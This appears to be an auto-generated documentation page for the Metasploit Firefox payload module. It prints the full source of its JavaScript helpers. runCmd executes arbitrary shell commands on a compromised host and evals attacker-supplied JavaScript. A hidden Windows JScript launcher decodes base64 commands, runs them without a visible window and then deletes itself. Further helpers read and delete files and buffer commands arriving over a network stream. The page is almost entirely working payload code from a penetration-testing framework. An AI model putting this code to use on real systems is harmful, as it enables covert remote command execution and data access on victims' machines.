Module: Msf::Payload::Firefox
- Includes:
- Exploit::JSObfu
- Defined in:
- lib/msf/core/payload/firefox.rb
Instance Method Summary collapse
-
#jscript_launcher ⇒ String
This file is dropped on the windows platforms to a temp file in order to prevent the cmd.exe prompt from appearing.
-
#read_file_source ⇒ String
Javascript source code of readFile(path) - synchronously reads a file and returns its contents.
-
#read_until_token_source ⇒ String
Javascript source of readUntilToken(s) Continues reading the stream as data is available, until a pair of command tokens like [[aBcD123ffh]] [[aBcD123ffh]] is consumed.
-
#run_cmd_source ⇒ String
Javascript source code of runCmd(str,cb) - runs a shell command on the OS.
-
#set_timeout_source ⇒ String
Javascript source code of setTimeout(fn, delay).
Methods included from Exploit::JSObfu
Instance Method Details
#jscript_launcher ⇒ String
This file is dropped on the windows platforms to a temp file in order to prevent the cmd.exe prompt from appearing. It is executed and then deleted.
Note: we should totally add a powershell replacement here.
base64 and runs it as a shell command.
216 217 218 219 220 221 222 223 224 225 226 227 228 |
# File 'lib/msf/core/payload/firefox.rb', line 216 def jscript_launcher %Q| var b64 = WScript.arguments(0); var dom = new ActiveXObject("MSXML2.DOMDocument.3.0"); var el = dom.createElement("root"); el.dataType = "bin.base64"; el.text = b64; dom.appendChild(el); var stream = new ActiveXObject("ADODB.Stream"); stream.Type=1; stream.Open(); stream.Write(el.nodeTypedValue); stream.Position=0; stream.type=2; stream.CharSet = "us-ascii"; stream.Position=0; var cmd = stream.ReadText(); (new ActiveXObject("WScript.Shell")).Run(cmd, 0, true); | end |
#read_file_source ⇒ String
Javascript source code of readFile(path) - synchronously reads a file and returns its contents. The file is deleted immediately afterwards.
56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 |
# File 'lib/msf/core/payload/firefox.rb', line 56 def read_file_source %Q| var readFile = function(path) { try { var file = Components.classes["@mozilla.org/file/local;1"] .createInstance(Components.interfaces.nsILocalFile); file.initWithPath(path); var fileStream = Components.classes["@mozilla.org/network/file-input-stream;1"] .createInstance(Components.interfaces.nsIFileInputStream); fileStream.init(file, 1, 0, false); var binaryStream = Components.classes["@mozilla.org/binaryinputstream;1"] .createInstance(Components.interfaces.nsIBinaryInputStream); binaryStream.setInputStream(fileStream); var array = binaryStream.readByteArray(fileStream.available()); binaryStream.close(); fileStream.close(); file.remove(true); return array.map(function(aItem) { return String.fromCharCode(aItem); }).join(""); } catch (e) { return ""; } }; | end |
#read_until_token_source ⇒ String
Javascript source of readUntilToken(s) Continues reading the stream as data is available, until a pair of
command tokens like [[aBcD123ffh]] [[aBcD123ffh]] is consumed.
Returns a function that can be passed to the #onDataAvailable callback of
nsIInputStreamPump that will buffer until a second token is read, or, in
the absence of any tokens, a newline character is read.
30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 |
# File 'lib/msf/core/payload/firefox.rb', line 30 def read_until_token_source %Q| var readUntilToken = function(cb) { Components.utils.import("resource://gre/modules/NetUtil.jsm"); var buffer = '', m = null; return function(request, context, stream, offset, count) { buffer += NetUtil.readInputStreamToString(stream, count); if (buffer.match(/^(\\[\\[\\w{8}\\]\\])/)) { if (m = buffer.match(/^(\\[\\[\\w{8}\\]\\])([\\s\\S]*)\\1/)) { cb(m[2]); buffer = ''; } } else if (buffer.indexOf("\\n") > -1) { cb(buffer); buffer = ''; } }; }; | end |
#run_cmd_source ⇒ String
Javascript source code of runCmd(str,cb) - runs a shell command on the OS
Because of a limitation of firefox, we cannot retrieve the shell output so the stdout/err are instead redirected to a temp file, which is read and destroyed after the command completes.
On posix, the command is double wrapped in “/bin/sh -c” calls, the outer of which redirects stdout.
On windows, the command is wrapped in two “cmd /c” calls, the outer of which redirects stdout. A JScript “launch” file is dropped and invoked with wscript to run the command without displaying the cmd.exe prompt.
When the command contains the pattern “[JAVASCRIPT] … [/JAVASCRIPT]”, the javascript code between the tags is eval’d and returned.
100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 |
# File 'lib/msf/core/payload/firefox.rb', line 100 def run_cmd_source %Q| #{read_file_source} #{set_timeout_source} var ua = Components.classes["@mozilla.org/network/protocol;1?name=http"] .getService(Components.interfaces.nsIHttpProtocolHandler).userAgent; var windows = (ua.indexOf("Windows")>-1); var svcs = Components.utils.import("resource://gre/modules/Services.jsm"); var jscript = (#{JSON.unparse({:src => jscript_launcher})}).src; var runCmd = function(cmd, cb) { cb = cb \|\| (function(){}); if (cmd.trim().length == 0) { setTimeout(function(){ cb("Command is empty string ('')."); }); return; } var js = (/^\\s*\\[JAVASCRIPT\\]([\\s\\S]*)\\[\\/JAVASCRIPT\\]/g).exec(cmd.trim()); if (js) { var tag = "[!JAVASCRIPT]"; var sync = true; /* avoid zalgo's reach */ var sent = false; var retVal = null; try { this.send = function(r){ if (sent) return; sent = true; if (r) { if (sync) setTimeout(function(){ cb(false, r+tag+"\\n"); }); else cb(false, r+tag+"\\n"); } }; retVal = Function(js[1]).call(this); } catch (e) { retVal = e.message; } sync = false; if (retVal && !sent) { sent = true; setTimeout(function(){ cb(false, retVal+tag+"\\n"); }); } return; } var shEsc = "\\\\$&"; var shPath = "/bin/sh -c"; if (windows) { shPath = "cmd /c"; shEsc = "\\^$&"; var jscriptFile = Components.classes["@mozilla.org/file/directory_service;1"] .getService(Components.interfaces.nsIProperties) .get("TmpD", Components.interfaces.nsIFile); jscriptFile.append('#{Rex::Text.rand_text_alphanumeric(8+rand(12))}.js'); var stream = Components.classes["@mozilla.org/network/safe-file-output-stream;1"] .createInstance(Components.interfaces.nsIFileOutputStream); stream.init(jscriptFile, 0x04 \| 0x08 \| 0x20, 0666, 0); stream.write(jscript, jscript.length); if (stream instanceof Components.interfaces.nsISafeOutputStream) { stream.finish(); } else { stream.close(); } } var stdoutFile = "#{Rex::Text.rand_text_alphanumeric(8+rand(12))}"; var stdout = Components.classes["@mozilla.org/file/directory_service;1"] .getService(Components.interfaces.nsIProperties) .get("TmpD", Components.interfaces.nsIFile); stdout.append(stdoutFile); var shell; cmd = cmd.trim(); if (windows) { shell = shPath+" "+cmd; shell = shPath+" "+shell.replace(/\\W/g, shEsc)+" >"+stdout.path+" 2>&1"; var b64 = svcs.btoa(shell); } else { shell = shPath+" "+cmd.replace(/\\W/g, shEsc); shell = shPath+" "+shell.replace(/\\W/g, shEsc) + " >"+stdout.path+" 2>&1"; } var process = Components.classes["@mozilla.org/process/util;1"] .createInstance(Components.interfaces.nsIProcess); var sh = Components.classes["@mozilla.org/file/local;1"] .createInstance(Components.interfaces.nsILocalFile); if (windows) { sh.initWithPath("C:\\\\Windows\\\\System32\\\\wscript.exe"); process.init(sh); var args = [jscriptFile.path, b64]; process.run(true, args, args.length); jscriptFile.remove(true); setTimeout(function(){cb(false, cmd+"\\n"+readFile(stdout.path));}); } else { sh.initWithPath("/bin/sh"); process.init(sh); var args = ["-c", shell]; process.run(true, args, args.length); setTimeout(function(){cb(false, readFile(stdout.path));}); } }; | end |
#set_timeout_source ⇒ String
Javascript source code of setTimeout(fn, delay)
11 12 13 14 15 16 17 18 19 |
# File 'lib/msf/core/payload/firefox.rb', line 11 def set_timeout_source %Q| var setTimeout = function(cb, delay) { var timer = Components.classes["@mozilla.org/timer;1"].createInstance(Components.interfaces.nsITimer); timer.initWithCallback({notify:cb}, delay, Components.interfaces.nsITimer.TYPE_ONE_SHOT); return timer; }; | end |